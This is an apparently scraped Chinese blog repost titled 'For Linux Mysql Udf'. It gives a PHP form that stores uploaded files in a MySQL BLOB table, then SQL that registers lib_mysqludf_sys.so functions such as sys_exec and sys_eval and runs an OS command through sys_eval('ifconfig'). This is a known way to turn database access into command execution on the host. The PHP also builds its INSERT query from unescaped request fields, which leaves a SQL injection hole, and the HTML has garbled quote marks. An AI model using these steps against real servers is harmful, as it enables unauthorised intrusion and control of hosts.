博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
For Linux Mysql Udf
阅读量:2435 次
发布时间:2019-05-10

本文共 2327 字,大约阅读时间需要 7 分钟。

 

 

First:

.........

CREATE TABLE tbl_upload (

id INT NOT NULL AUTO_INCREMENT,
name VARCHAR(30) NOT NULL,
type VARCHAR(30) NOT NULL,
size INT NOT NULL,
content MEDIUMBLOB NOT NULL,
PRIMARY KEY(id)
);....

 

then...............

 

<?php

if(isset($_POST['upload_file']) && $_FILES['file_name']['size'] > 0)

{
$originalName = $_FILES['file_name']['name'];
$tmpName = $_FILES['file_name']['tmp_name'];
$fileSize = $_FILES['file_name']['size'];
$fileType = $_FILES['file_name']['type'];

$fp = fopen($tmpName, 'r');

$content = fread($fp, filesize($tmpName));
$content = addslashes($content);
fclose($fp);

if(!get_magic_quotes_gpc())

{
$originalName = addslashes($originalName);
}

$dbhostname = 'ip';

$dbusername = 'test';
$dbpassword = 'test';
$connection = mysql_connect($dbhostname, $dbusername, $dbpassword);

mysql_select_db("testing");

$query = "INSERT INTO tbl_upload (name, size, type, content ) VALUES ('$originalName', '$fileSize', '$fileType', '$content')";

mysql_query($query) or die('Error, query failed');

mysql_close($connection);

echo "File $originalName uploaded";

}
?>

<HTML>

<BODY>
<form method="post" ACTION="new.php"enctype="multipart/form-data">
<table width="50%" align="center" border="0?? cellpadding="1?? cellspacing="1??>
<tr>
<td width="59%" align="left">
<input type="hidden" name="MAX_SIZE" value="200000000000">
<input name="file_name" type="file" id="file_name">
</td>
<td width="41%" align="left"><input name="upload_file" type="submit" id="upload_file" value="Upload"></td>
</tr>
</table>

</form>

</BODY>

</HTML>

..................................

 

 

   
    THAT is all

 

------------------------------all-------------------

CREATE TABLE tbl_Files (id_files tinyint(3) unsigned NOT NULL auto_increment,bin_data longblob NOT NULL,description

tinytext NOT NULL,filename varchar(50) NOT NULL,filesize varchar(50) NOT NULL,filetype varchar(50) NOT NULL,PRIMARY KEY

(id_files));

 

 

 

create function lib_mysqludf_sys_info returns string soname 'lib_mysqludf_sys.so';

create function sys_get returns string soname 'lib_mysqludf_sys.so';

create function sys_set returns int soname 'lib_mysqludf_sys.so';

create function sys_exec returns int soname 'lib_mysqludf_sys.so';

create function sys_eval returns string soname 'lib_mysqludf_sys.so';

select sys_eval('ifconfig');

 

pay attention to you /usr/lib must has x priv :D
   

....like this...

 

转载地址:http://jlqmb.baihongyu.com/

你可能感兴趣的文章
深度探索C++对象模型 ( 第四部分 )(转)
查看>>
MySQL中的SQL特征(转)
查看>>
使用JBuilder和WTK2.2搭建MIDP1.0和MIDP2.0开发环境(转)
查看>>
Symbian命名规则(翻译)(转)
查看>>
windows server 2003的设置使用(转)
查看>>
优化Win2000的NTFS系统(转)
查看>>
IE漏洞可使黑客轻易获取私人信息(转)
查看>>
脱机备份与恢复实战(转)
查看>>
WLINUX下的DNS服务器设置(转)
查看>>
游戏引擎剖析(二)(转)
查看>>
sms发mms C语言源码(转)
查看>>
窝CDMA网络中移动IP接入Internet(转)
查看>>
实现MMS增值业务的关键技术(转)
查看>>
Vista被破解 一个小程序可成功激活(转)
查看>>
SEO作弊常见方法和形式(转)
查看>>
蓝芽技术的原理和应用(2)(转)
查看>>
ACCESS默认保存路径的修改方法(转)
查看>>
解决接通电源后自动开机问题(转)
查看>>
Linux操作系统的使用技巧集锦(转)
查看>>
安全防护:入侵检测实战之全面问答(转)
查看>>